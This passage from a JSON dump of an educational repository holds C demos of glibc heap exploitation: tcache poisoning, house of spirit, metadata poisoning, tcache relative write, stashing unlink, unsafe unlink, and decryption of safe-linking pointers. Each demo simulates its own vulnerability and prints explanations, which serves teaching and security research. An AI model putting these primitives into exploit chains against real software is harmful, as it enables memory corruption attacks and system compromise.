*top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.32/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.32/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.32/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.32/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x930;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.32/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.32/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.33/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.33/fastbin_dup.c",
